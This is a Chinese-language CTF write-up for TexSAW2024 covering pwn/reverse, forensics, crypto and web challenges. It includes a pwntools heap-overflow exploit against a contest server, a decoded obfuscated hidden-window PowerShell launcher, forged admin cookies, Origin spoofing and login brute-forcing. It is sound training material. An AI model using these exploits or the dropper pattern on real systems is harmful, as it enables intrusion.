TexSAW2024 write up by 马嘉祺.

我是TNT-马嘉祺,我为时代少年团代言。

image-20240325110208104

得分:

image-20240325110240315

re/pwn

Heaps of Garbage

You’ve decided to look for treasure in various piles of garbage in a junkyard at nc 3.23.56.243 9010. However, you must be careful: Some treasures contain lead, asbestos, or other poisonous materials, so make sure to avoid these treasures! Can you dive through all the garbage heaps and collect all the salvageable treasure while avoiding the toxic treasures?

一个二进制文件,反编译如下:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *Glod_Bar__; // rax
_BYTE *Lead_Spo_; // rax
_BYTE *Asbestos_; // rax
_BYTE *Sludgeba_; // rax
_BYTE *The_Mona_; // rax
unsigned __int64 v8; // rax
void *v9; // rsp
_BYTE v11[6]; // [rsp+8h] [rbp-90h] BYREF
char v12; // [rsp+Eh] [rbp-8Ah]
char i; // [rsp+Fh] [rbp-89h]
unsigned int number; // [rsp+10h] [rbp-88h] BYREF
unsigned int v15; // [rsp+14h] [rbp-84h]
char *Gold_Bar_; // [rsp+18h] [rbp-80h]
_BYTE *Lead_Spo; // [rsp+20h] [rbp-78h]
_BYTE *Diamond; // [rsp+28h] [rbp-70h]
_BYTE *Asbestos; // [rsp+30h] [rbp-68h]
_BYTE *Sludgeba; // [rsp+38h] [rbp-60h]
_BYTE *The_Mona; // [rsp+40h] [rbp-58h]
__int64 v22; // [rsp+48h] [rbp-50h]
char *src; // [rsp+50h] [rbp-48h]
FILE *stream; // [rsp+58h] [rbp-40h]
unsigned __int64 v25; // [rsp+60h] [rbp-38h]

v25 = __readfsqword(0x28u);
number = 1;
printf("Enter a number: ");
__isoc99_scanf("%d", &number);
if ( (int)number <= 0 )
number = 1;
printf("Your number is: %d\n", number);
Gold_Bar_ = (char *)malloc((int)(0x20 * (number + 2)));
Lead_Spo = malloc((int)(32 * number));
Diamond = malloc((int)(32 * (number + 3)));
Asbestos = malloc(0x20uLL);
Sludgeba = malloc((int)(32 * (number + 1)));
The_Mona = malloc((int)(32 * (number + 4)));
Glod_Bar__ = Gold_Bar_;
*(_QWORD *)Gold_Bar_ = 'raB_dloG'; // Gold_Bar
Glod_Bar__[8] = 0;
Lead_Spo_ = Lead_Spo;
*(_QWORD *)Lead_Spo = 'opS_daeL'; // Lead_Spo
strcpy(Lead_Spo_ + 8, "on");
*(_QWORD *)Diamond = 'dnomaiD'; // Diamond
Asbestos_ = Asbestos;
*(_QWORD *)Asbestos = 'sotsebsA'; // Asbestos
strcpy(Asbestos_ + 8, "_Cloth");
Sludgeba_ = Sludgeba;
*(_QWORD *)Sludgeba = 'abegdulS'; // Sludgeba
strcpy(Sludgeba_ + 8, "ll");
The_Mona_ = The_Mona;
*(_QWORD *)The_Mona = 'anoM_ehT'; // The_Mona
strcpy(The_Mona_ + 8, "do");
v15 = 0x20 * (number + 1 + number + number + 2 + number + 3 + 1 + number + 4);
v22 = (int)(v15 + 80) - 1LL;
v8 = 0x10 * (((int)(v15 + 80) + 15LL) / 0x10uLL);
while ( v11 != &v11[-(v8 & 0xFFFFFFFFFFFFF000LL)] )
;
v9 = alloca(v8 & 0xFFF);
if ( (v8 & 0xFFF) != 0 )
*(_QWORD *)&v11[(v8 & 0xFFF) - 8] = *(_QWORD *)&v11[(v8 & 0xFFF) - 8];
src = v11;
printf("Enter your payload: ");
__isoc99_scanf("%s", src);
strcpy(Gold_Bar_, src);
v12 = 1;
if ( !Collected(Gold_Bar_) || !Collected(Diamond) || !Collected(The_Mona) )
{
v12 = 0;
puts("Looks like you didn't collect all the salvageable treasures");
}
if ( !Lead_Spoon(Lead_Spo) || !Asbestos_Cloth(Asbestos) || !Sludgeball(Sludgeba) )
{
v12 = 0;
puts("Looks like you ended up touching some of the poisonous treasure");
}
if ( v12 )
{
puts("Good job! You collected all the salvageable treasures while avoiding the poisonous ones! Here is your flag:");
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("Cannot open file ");
exit(0);
}
for ( i = fgetc(stream); i != -1; i = fgetc(stream) )
putchar(i);
fclose(stream);
}
return 0LL;
}

堆布局:

image-20240324204702358

大致就是申请了一堆chunk,然后满足每个chunk有特定的字符串就行,exp如下:

from pwn import *
import sys

arch = 64
challenge = "./the_junkyard"
libc_path_local = "/glibc/x64/2.34/lib/libc.so.6"
libc_path_remote = ""

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-hp', '65']

if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("3.23.56.243", 9010)
if libc_path_remote:
libc = ELF(libc_path_remote)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./the_junkyard}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)


def exp():
ru('Enter a number:')
sl('1')
payload = 'Collected!' + (0x60 - len('Collected!')) * 'a'
payload += 'b' * 8 + 'c' * 8 + 'Lead_Spoon' + (0x20 - len('Lead_Spoon')) * 'a'
payload += 'b' * 8 + 'c' * 8 + 'Collected!' + (0x80 - len('Collected!')) * 'a'
payload += 'b' * 8 + 'c' * 8 + 'Asbestos_Cloth' + (0x20 - len('Asbestos_Cloth')) * 'a'
payload += 'b' * 8 + 'c' * 8 + 'Sludgeball' + (0x40 - len('Sludgeball')) * 'a'
payload += 'b' * 8 + 'c' * 8 + 'Collected!' + 'hacked by TNT Jiaqi Ma!'

ru('payload')
sl(payload)
pass

exp()
ia()

flag:

image-20240324211715584

Collatz-eral Damage

Can you find the correct flag? It’s hidden somewhere in this binary.

Flag format: texsaw{<some string>}

主函数大致逻辑如下:输入flag,经过hailstone处理后,和一个密钥组对比。

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4B4h]
int v4; // [rsp+10h] [rbp-4B0h]
int v5[28]; // [rsp+20h] [rbp-4A0h]
int v6[256]; // [rsp+90h] [rbp-430h] BYREF
char flag[40]; // [rsp+490h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+4B8h] [rbp-8h]

v8 = __readfsqword(0x28u);
puts("What's the flag? ");
fgets(flag, 29, _bss_start);
v4 = strlen(flag);
qmemcpy(v6, &dword_2060, sizeof(v6));
if ( v4 != 28 )
{
puts("Try again!");
exit(0);
}
shf(v6, 256LL, &dword_2060);
v5[0] = 186;
v5[1] = 79;
v5[2] = 229;
v5[3] = 160;
v5[4] = 222;
v5[5] = 172;
v5[6] = 244;
v5[7] = 94;
v5[8] = 251;
v5[9] = 4;
v5[10] = 4;
v5[11] = 222;
v5[12] = 22;
v5[13] = 80;
v5[14] = 79;
v5[15] = 96;
v5[16] = 222;
v5[17] = 4;
v5[18] = 209;
v5[19] = 78;
v5[20] = 63;
v5[21] = 13;
v5[22] = 222;
v5[23] = 58;
v5[24] = 34;
v5[25] = 33;
v5[26] = 33;
v5[27] = 103;
for ( i = 0; i < 28; ++i )
{
if ( (unsigned int)hailstone((unsigned int)flag[i]) != v6[v5[i]] )
{
puts("Incorrect Value!");
exit(0);
}
}
puts("Correct Value!");
exit(0);
}

关于密钥组的处理shf函数如下:

void __fastcall shf(__int64 key, unsigned __int64 size_256)
{
double random; // xmm1_8
unsigned __int64 v3; // rax
double v4; // xmm0_8
int v5; // [rsp+1Ch] [rbp-14h]
__int64 i; // [rsp+20h] [rbp-10h]
__int64 index; // [rsp+28h] [rbp-8h]

srand48(456LL);
if ( size_256 > 1 )
{
for ( i = size_256 - 1; i; --i )
{
random = drand48();
v3 = i + 1;
if ( i + 1 < 0 )
v4 = (double)(int)(v3 & 1 | (v3 >> 1)) + (double)(int)(v3 & 1 | (v3 >> 1));
else
v4 = (double)(int)v3;
index = (unsigned int)(int)(v4 * random);
v5 = *(_DWORD *)(4 * index + key);
*(_DWORD *)(4 * index + key) = *(_DWORD *)(4 * i + key);
*(_DWORD *)(key + 4 * i) = v5;
}
}
}

可以自己写一个C函数,然后拿初始的密钥数组进去运算,也可以直接gdb调内存,拷出来即可:

image-20240324180456345

hailstone函数:

__int64 __fastcall hailstone(unsigned int val)
{
int v2; // [rsp+0h] [rbp-14h]
unsigned int v3; // [rsp+10h] [rbp-4h]

v2 = val;
v3 = val;
if ( !val )
return 0LL;
while ( v2 != 1 )
{
if ( (v2 & 1) != 0 )
v2 = 3 * v2 + 1;
else
v2 /= 2;
v3 ^= v2;
}
return v3;
}

解题脚本如下,直接爆破就行:

#include <stdio.h>
#include <stdlib.h>

long long hailstone(unsigned int value) {
int v2 = value;
unsigned int v3 = value;
if (!value)
return 0;
while (v2 != 1)
{
if ((v2 & 1) != 0)
v2 = 3 * v2 + 1;
else
v2 /= 2;
v3 ^= v2;
}
return v3;
}

int main() {
int v6[256] = {
0x34, 0x32FA, 0x3228, 0x63, 0xB, 0x30ED, 0x217, 0x1A,
0x330A, 0x44, 0xF0, 0x2F, 0x1AA7, 0x32DC, 0x372, 0x1FF,
0x5B2, 0x9C, 0x10, 0x3600, 0x3323, 0x13A, 0x7C, 0x7B,
0x21C, 0x233, 0x7C, 0x51, 0x3C9, 0x1F, 0x35A7, 0x9C,
0xDC, 0x65, 0xA, 0x35E9, 0x8F, 0x28, 0x7, 0x37,
0x33, 0x11A, 0x26, 0x1A0D, 0x326B, 0x335D, 0x3340, 0x21,
0x67, 0x33C3, 0x195, 0x34B8, 0x375, 0x91, 0x30F, 0x6C,
0x300D, 0xD9, 0x3384, 0x87, 0x15, 0xF2, 0x337B, 0xF,
0x2, 0x72, 0xAD, 0x7A, 0x96, 0x31A9, 0x2BD, 0x12F,
0x3294, 0x314C, 0x25, 0xD4, 0x609, 0x32CD, 0x78, 0x1C6,
0x14, 0xB7, 0x36F, 0xEE, 0x3084, 0x39, 0x2E, 0x80,
0x33DE, 0xAE, 0x236, 0x3547, 0x1A, 0x32A2, 0x14F, 0xD,
0x49, 0x3F, 0x10C, 0x21, 0xBD, 0x3579, 0x3211, 0x32C2,
0x33A, 0x375B, 0x1AA, 0xD3, 0x3201, 0x33F9, 0x3206, 0x14,
0xD0, 0x3274, 0x362, 0xD3, 0x3364, 0xCE, 0xDF, 0x323C,
0x1A4, 0x354C, 0x392F, 0xA0, 0x3093, 0x1B0C, 0x1C9, 0x1,
0x12, 0x100, 0xB6, 0x332C, 0x329E, 0x3379, 0x3E8, 0x3,
0xA3, 0x1E, 0x3326, 0x4, 0x328B, 0x87, 0x10, 0xE5,
0xE6, 0x330F, 0x8B2, 0x37C, 0x3315, 0x3314, 0xBC, 0x1F0,
0xC7, 0x88, 0x61, 0x3370, 0x32E, 0x3538, 0x3B, 0xF1,
0x25B, 0x43, 0x8C, 0x35E, 0x3546, 0x100, 0x4E3, 0x3D,
0xA3, 0x7F, 0xFF, 0x1BF2, 0x105, 0x2C, 0x35A5, 0xA,
0x35C4, 0x1EB, 0x31C4, 0x13, 0x55, 0xE9, 0x3D8, 0x331C,
0x3248, 0x3A, 0x6, 0x6F, 0x31AA, 0x8C, 0x48, 0x13,
0x40, 0x3CC, 0x6A, 0x83, 0x3B, 0x46, 0x3B06, 0xB,
0x1CA, 0x3081, 0x338B, 0xF, 0x104, 0x202, 0x51, 0x19B0,
0x15, 0x35C7, 0x3A8, 0x335A, 0x6A, 0x7C, 0x44, 0x3293,
0x83, 0x3599, 0xC, 0x199, 0xA0, 0xF8, 0x33D6, 0x93,
0x2C9, 0x32BA, 0x3486, 0x3B, 0xFF, 0x8A, 0x33C7, 0x3361,
0x33EB, 0x33C4, 0x3C, 0x6, 0xF2, 0x3325, 0x161, 0x3346,
0x172, 0xDD, 0x255, 0x59, 0x1F6, 0x20, 0x1, 0x3238,
0x57, 0x1C9, 0x78, 0x31, 0x47, 0x1B, 0x19, 0x27
};

int v5[] = {
186, 79, 229, 160, 222, 172, 244, 94, 251, 4,
4, 222, 22, 80, 79, 96, 222, 4, 209, 78,
63, 13, 222, 58, 34, 33, 33, 103
};


for (int i = 0; i < 28; i++)
{
for (int j = 32; j < 127; j++)
{
long long tmp = hailstone(j);
if (tmp == v6[v5[i]])
{
printf("%c", j);
}
}
printf(" ");
}
printf("\n");

return 0;
}

注意一下因为同一组ascii序列中可能有多个值符合要求,所以组合一下即可得到flag:

image-20240324182437027

最终flag:texsaw{C0LLazTeraL_D4maG3!!}

Forensics

The Forked Cave

git泄露,但是不要用GitHack,GitHack对HEAD文件中的hash没有处理,导致object遗漏,推荐Git_Extract

image-20240324152126697

然后cat *:

image-20240324152150743

MFMFT

I stole my boss’ flash drive. Rumor has it that he keeps the password to the payroll database fragmented across the filenames of the contents of his USB drive. I have a segment of the Master File Table here - can you help me figure out the password? I would like to give myself a 200% raise.

Oh, this might help: [0, 10, 17, 18, 5, 6, 15, 13, 9, 16, 12, 5, 11, 1, 14, 5, 7, 6, 7, 3, 2, 2, 10, 8, 4, 7]

Wrap what you find with texsaw{}! If the password is password, enter texsaw{password}.

给了一个data文件,然后里面有若干FILE文件,先切成小份:

with open('../TheMFT', 'rb') as f:
...: data = f.read()
In [14]: for i in range(1,len(data_list)):
...: with open("data" + str(i-1), "wb") as f:
...: f.write(b"FILE0" + data_list[i])

然后利用analyzeMFT提取信息,观察文件名后面就是密码,然后根据题目给的整数列表写个脚本提取:

image-20240325024730889

脚本如下:

In [7]: index = [0, 10, 17, 18, 5, 6, 15, 13, 9, 16, 12, 5, 11, 1, 14, 5, 7, 6, 7, 3, 2, 2, 10, 8, 4, 7]

In [8]: flag = ''

In [9]: for i in index:
...: flag += os.popen("python analyzeMFT.py -f ./data" + str(i) + " -o result.txt; cat result.txt").read().split("Orphan/")[1][0]

得到password:34sy_brEezY_MFT_7b7f224587

flag:texsaw{34sy_brEezY_MFT_7b7f224587}

MalWhere?

strings,发现一个ps脚本:

image-20240324024340461

内容为:

powershell.exe -nop -w hidden -noni -c;$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe';$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAC3yPWUA/21ST+saMRT8KjlsUEkDef/yp7JQWvhBoVAvPYmHtQhaRIvY0kM/vC9bTDz0sodhMjNvZofrTzOa7ffjdNvudh+W29PlvltKIAshOYbVu39IIlREfAOIi0UsLjyBktlmCR5Kp4BFFtdFAlrJ2ckTYFRVjj49gaw2MaHn3GVBjdFDeyQqCxIcNg7KzHGITaewTYA+dk6oHHrRiaQXcPDcXlFOFkCVe8CElhg9toSQajWl30AhWsigRazWw236T5uJ2EIE13xq3hK6hLDWoL7U4mtRxNo2txqYbIbXdlHUV3JfBClboOBiU0HSEsQ32aI+qFF7kKDJArnug6XWFPpm80Q6a1NlrY0wuxYENFpCx+0cVbSS+p+RlIA6RjOJmkOEXB+5/l2RO4OK3sK61tzq+TaaWq3/cT1dzGKxHqY/Y/1zO7Afh8Pl9/vNt49fPn8yzuibyjJ/zddfd/92Oh/M/N1M96MZ9usHQYmIpvgCAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);

大概是创建一个新的ps脚本并执行,新脚本被压缩然后base64编码了,首先还原脚本:

In [1]: import base64
...: import gzip
...:
...: compressed_data = b'H4sIAC3yPWUA/21ST+saMRT8KjlsUEkDef/yp7JQWvhBoVAvPYmH
...: tQhaRIvY0kM/vC9bTDz0sodhMjNvZofrTzOa7ffjdNvudh+W29PlvltKIAshOYbVu39IIlRE
...: fAOIi0UsLjyBktlmCR5Kp4BFFtdFAlrJ2ckTYFRVjj49gaw2MaHn3GVBjdFDeyQqCxIcNg7K
...: zHGITaewTYA+dk6oHHrRiaQXcPDcXlFOFkCVe8CElhg9toSQajWl30AhWsigRazWw236T5uJ
...: 2EIE13xq3hK6hLDWoL7U4mtRxNo2txqYbIbXdlHUV3JfBClboOBiU0HSEsQ32aI+qFF7kKDJ
...: Arnug6XWFPpm80Q6a1NlrY0wuxYENFpCx+0cVbSS+p+RlIA6RjOJmkOEXB+5/l2RO4OK3sK6
...: 1tzq+TaaWq3/cT1dzGKxHqY/Y/1zO7Afh8Pl9/vNt49fPn8yzuibyjJ/zddfd/92Oh/M/N1M
...: 96MZ9usHQYmIpvgCAAA='
...:
...: decoded_data = base64.b64decode(compressed_data)
...: decompressed_data = gzip.decompress(decoded_data)
...:
...: print(decompressed_data.decode('utf-8'))

得到:

$op = [char[]]@([int](503%107+41),[int](732%105-1),[int](349%229+0),[int](984%850-19),[int](341%245+1),[int](702%588+5),[int](422%146-7),[int](832%672-48),[int](981%102-15),[int](541%150+28),[int](251%102+22),[int](894%712-68),[int](201%103-15),[int](639%240-42),[int](387%110+25),[int](472%342-27),[int](173%109+5),[int](306%181+0));$ra = [char[]]@([int](734%161+2),[int](251%90+5),[int](542%110+3),[int](802%345-14),[int](943%810-19),[int](256%158-1),[int](238%130+6),[int](823%715-3),[int](942%281+2),[int](204%103+14),[int](291%100+1),[int](422%150-6),[int](439%328+9),[int](143%72+45),[int](103%57+0),[int](743%212-4),[int](642%553+8),[int](932%164-4),[int](398%143-10));$lr= $ra -join '';$ax=$op -join '';$b=$env:PUBLIC + $lr;$ax | Out-File -FilePath $b;

这个就比较明显了,一个字符数组存了一堆ascii,可以用python筛选出所有的算式,运算后得到flag:

import re

data = "$op = [char[]]@([int](503%107+41),[int](732%105-1),[int](349%229+0),[int](984%850-19),[int](341%245+1),[int](702%588+5),[int](422%146-7),[int](832%672-48),[int](981%102-15),[int](541%150+28),[int](251%102+22),[int](894%712-68),[int](201%103-15),[int](639%240-42),[int](387%110+25),[int](472%342-27),[int](173%109+5),[int](306%181+0));$ra = [char[]]@([int](734%161+2),[int](251%90+5),[int](542%110+3),[int](802%345-14),[int](943%810-19),[int](256%158-1),[int](238%130+6),[int](823%715-3),[int](942%281+2),[int](204%103+14),[int](291%100+1),[int](422%150-6),[int](439%328+9),[int](143%72+45),[int](103%57+0),[int](743%212-4),[int](642%553+8),[int](932%164-4),[int](398%143-10));$lr= $ra -join '';$ax=$op -join '';$b=$env:PUBLIC + $lr;$ax | Out-File -FilePath $b;"
matches = re.findall(r'\(([^()]+)\)', data)
flag = ''
for match in matches:
result = eval(match)
flag += chr(result)

print(flag)

image-20240324024618250

Cryptography

Ironcrypt

Commander, we managed to gain access to the Ironblood’s encryption servers, but we only know the key. If we get the IV, we will be able to decrypt all of their messages, locate their submarines, and win the war!

nc 3.23.56.243 9013

源码如下:

from binascii import hexlify, unhexlify
from Crypto.Cipher import AES
import sys

one = "----------------"
two = "----------------"
maxlen = 256

def encrypt(message, key):
aes = AES.new(key, AES.MODE_OFB, two)
return aes.encrypt(message)

def decrypt(message, key):
aes = AES.new(key, AES.MODE_OFB, two)
return aes.decrypt(message)

def decrypt_ecb(message, key):
aes = AES.new(key, AES.MODE_ECB)
return aes.decrypt(message)

sys.stdout.write("Give me a message to encrypt:\n")
message = raw_input().strip()

msglen = len(message)
if msglen == 0:
sys.stdout.write("No message provided.\n")
sys.stdout.flush()
quit()
elif msglen > maxlen:
message = message[:maxlen]
elif msglen % 16 != 0:
message += "0" * (16 - msglen % 16)

encrypted = encrypt(message, one)
sys.stdout.write("Original Message: {}\n".format(message))
sys.stdout.write("Message in Hex: {}\n".format(hexlify(message)))
sys.stdout.write("Encrypted Message: {}\n".format(hexlify(encrypted)))

sys.stdout.flush()
quit()

给定了一个密码系统,可以提供明文输入,获取密码输出,并且已知key,题目让求iv:

$ nc 3.23.56.243 9013
Give me a message to encrypt:
cccccccccccccccc
Encryption Key: texsaw{gl0ry_to_
Original Message: cccccccccccccccc
Message in Hex: 63636363636363636363636363636363
Encrypted Message: 6895d0b539b5434d2e0a1b1e589e0981

根据OFB解密流程,我们只需要将密文和明文异或,就可以得到key和iv的密码块了,只需要提供key就可以解出iv:

image-20240324232144392

解密脚本:

from binascii import hexlify, unhexlify
from Crypto.Cipher import AES
from binascii import unhexlify
import sys

def decrypt_ecb(message, key):
aes = AES.new(key, AES.MODE_ECB)
return aes.decrypt(message)


c = '6895d0b539b5434d2e0a1b1e589e0981'
m = '63636363636363636363636363636363'

c_int = int(c, 16)
m_int = int(m, 16)

result_int = c_int ^ m_int

result_hex = '{:032x}'.format(result_int)
print(result_hex)
print(result_hex.decode('hex'))

print(decrypt_ecb(result_hex.decode('hex'), "texsaw{gl0ry_to_"))

得到flag后半部分:

image-20240324232251821

Web

Login Attempt

万能密码秒了

Out of Bounds

I really HATE game developers. So much so that when I receive a new game, my priority is not to beat the game, but to find out how to go to places I’m not supposed to. I made a cool guide on several video games with out-of-bounds glitches which you can find at 3.23.56.243:9004. Do you have any additions to recommend??

题目提示测试边界:

image-20240324003450654

路由界面输入-1就过了

image-20240324003358008

I can’t seem to login to the account to 3.23.56.243:9002. Can you help me get access?

抓包改cookie秒了

GET / HTTP/1.1
Host: 3.23.56.243:9002
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: role=admin
Connection: close

Extreme Security

We are at 3.23.56.243:9003 . We are so secure that we only allow requests from our own origin to access secret data.

观察响应报文:

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.19
Date: Sat, 23 Mar 2024 17:16:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 463
Access-Control-Allow-Origin: https://texsaw2024.com
Connection: close

<!DOCTYPE html>
<html lang="">
<head>
<link rel= "stylesheet" type= "text/css" href= "/static/styles/home.css">
<meta charset="utf-8">
<title> Login </title>
</head>
<body style="background-color:powderblue;">
<div class="center-screen">
<h1> Extremely Secure Co. </h1>
<p> We are so secure that we only allow requests from our own origin to access secret data. Talk about some serious security! </p>
</div>
</body>
</html>

有个CORS检查,Access-Control-Allow-Origin: https://texsaw2024.com

加个Origin,发送报文:

GET / HTTP/1.1
Host: 3.23.56.243:9003
Cache-Control: max-age=0
referer: texsaw2024.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Origin: https://texsaw2024.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: role=user
Connection: close

拿到flag:

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.19
Date: Sat, 23 Mar 2024 17:15:14 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 364
Access-Control-Allow-Origin: https://texsaw2024.com
Connection: close

<!DOCTYPE html>
<html lang="">
<head>
<link rel= "stylesheet" type= "text/css" href= "/static/styles/home.css">
<meta charset="utf-8">
<title> Hello! </title>
</head>
<body style="background-color:powderblue;">
<div class="center-screen">
<h1> Super Secret Data: </h1>
<p> texsaw{s7t_y0ur_or7g7n} </p>
</div>
</body>
</html>

Over 9000

Help Goku get over 9000 energy to defeat his enemy Vegeta and save the world.

观察js文件:


let currentEnergy = 0;

function gatheringEnergy(){
currentEnergy++;
$("#energycount").html(`${currentEnergy}`);
if(currentEnergy == 10)
{
alert("out of energy try again :(")
currentEnergy = 0;
$("#energycount").html(0);

}
else if (currentEnergy > 9000)
{

$.ajax({
type:"POST",
url:"kamehameha.php",
data:{energy: currentEnergy},
success: function(flag){
alert(`${flag}`);
},
error: function(responseText,status, error){
console.log(`Tell the infrastructure team to fix this: Status = ${status} ; Error = ${error}`);
}


})

}
}

有个currentEnergy变量控制点击次数

直接在控制台输入:currentEnergy=9001

image-20240324012035510

Insecure Social Media Login

Your friend John has forgotten his password and wants to enlist the help of his tech savy friend. This is where you come in.

You’re going to have to find a way to remember John’s password. The site is at 3.23.56.243:9007

This social media site looks insecure, like it probably doesn’t limit the number of guesses users can make…

弱口令,上强度,大字典直接爆破,没啥意思

image-20240324140028616

Ask, and It Shall Be Given to You

The flag is at 3.23.56.243:9008. Unfortunately it seems like the site is down right now :( . Maybe you can ask someone for help? Don’t blow up their inbox though :) and make sure you clearly tell them what you want.

访问robots.txt有如下内容:

image-20240324014752993

访问countdown路由:http://3.23.56.243:9008/countdown

尼玛,大半夜吓👴🏻一跳

image-20240324014840535

访问contactIT路由:

image-20240324015157393

提示post json数据:

image-20240324015632183

随便发发,通过debug信息大致可以看到要发emal和message(出题人老丈育了)两种消息,部分debug信息如下:

<!doctype html>
<html lang=en>
<head>
<title>TypeError: argument of type &#39;NoneType&#39; is not iterable
// Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css">
<link rel="shortcut icon"
href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
<script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script>
<script>
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "WYleT8qx5TNo2HMQyp6Q";
</script>
</head>
<body style="background-color: #fff">
<div class="debugger">
<h1>TypeError</h1>
<div class="detail">
<p class="errormsg">TypeError: argument of type &#39;NoneType&#39; is not iterable
</p>
</div>
<h2 class="traceback">Traceback <em>(most recent call last)</em></h2>
<div class="traceback">
<h3></h3>
<ul><li><div class="frame" id="frame-140079071313984">
<h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>,
line <em class="line">1488</em>,
in <code class="function">__call__</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>) -&gt; cabc.Iterable[bytes]:</pre>
<pre class="line before"><span class="ws"> </span>&#34;&#34;&#34;The WSGI server calls the Flask application object as the</pre>
<pre class="line before"><span class="ws"> </span>WSGI application. This calls :meth:`wsgi_app`, which can be</pre>
<pre class="line before"><span class="ws"> </span>wrapped to apply middleware.</pre>
<pre class="line before"><span class="ws"> </span>&#34;&#34;&#34;</pre>
<pre class="line current"><span class="ws"> </span>return self.wsgi_app(environ, start_response)
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</pre></div>
</div>

<li><div class="frame" id="frame-140079071314128">
<h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>,
line <em class="line">1466</em>,
in <code class="function">wsgi_app</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>ctx.push()</pre>
<pre class="line before"><span class="ws"> </span>response = self.full_dispatch_request()</pre>
<pre class="line before"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line before"><span class="ws"> </span>error = e</pre>
<pre class="line current"><span class="ws"> </span>response = self.handle_exception(e)
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>except: # noqa: B001</pre>
<pre class="line after"><span class="ws"> </span>error = sys.exc_info()[1]</pre>
<pre class="line after"><span class="ws"> </span>raise</pre>
<pre class="line after"><span class="ws"> </span>return response(environ, start_response)</pre>
<pre class="line after"><span class="ws"> </span>finally:</pre></div>
</div>

<li><div class="frame" id="frame-140079071314272">
<h4>File <cite class="filename">"/usr/local/lib/python3.12/site-packages/flask/app.py"</cite>,
line <em class="line">1463</em>,
in <code class="function">wsgi_app</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>ctx = self.request_context(environ)</pre>
<pre class="line before"><span class="ws"> </span>error: BaseException | None = None</pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>ctx.push()</pre>
<pre class="line current"><span class="ws"> </span>response = self.full_dispatch_request()
<span class="ws"> </span> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line after"><span class="ws"> </span>error = e</pre>
<pre class="line after"><span class="ws"> </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>except: # noqa: B001</pre>
<pre class="line after"><span class="ws"> </span>error = sys.exc_info()[1]</pre></div>
</div>

<li><div class="frame" id="frame-140079071314416">
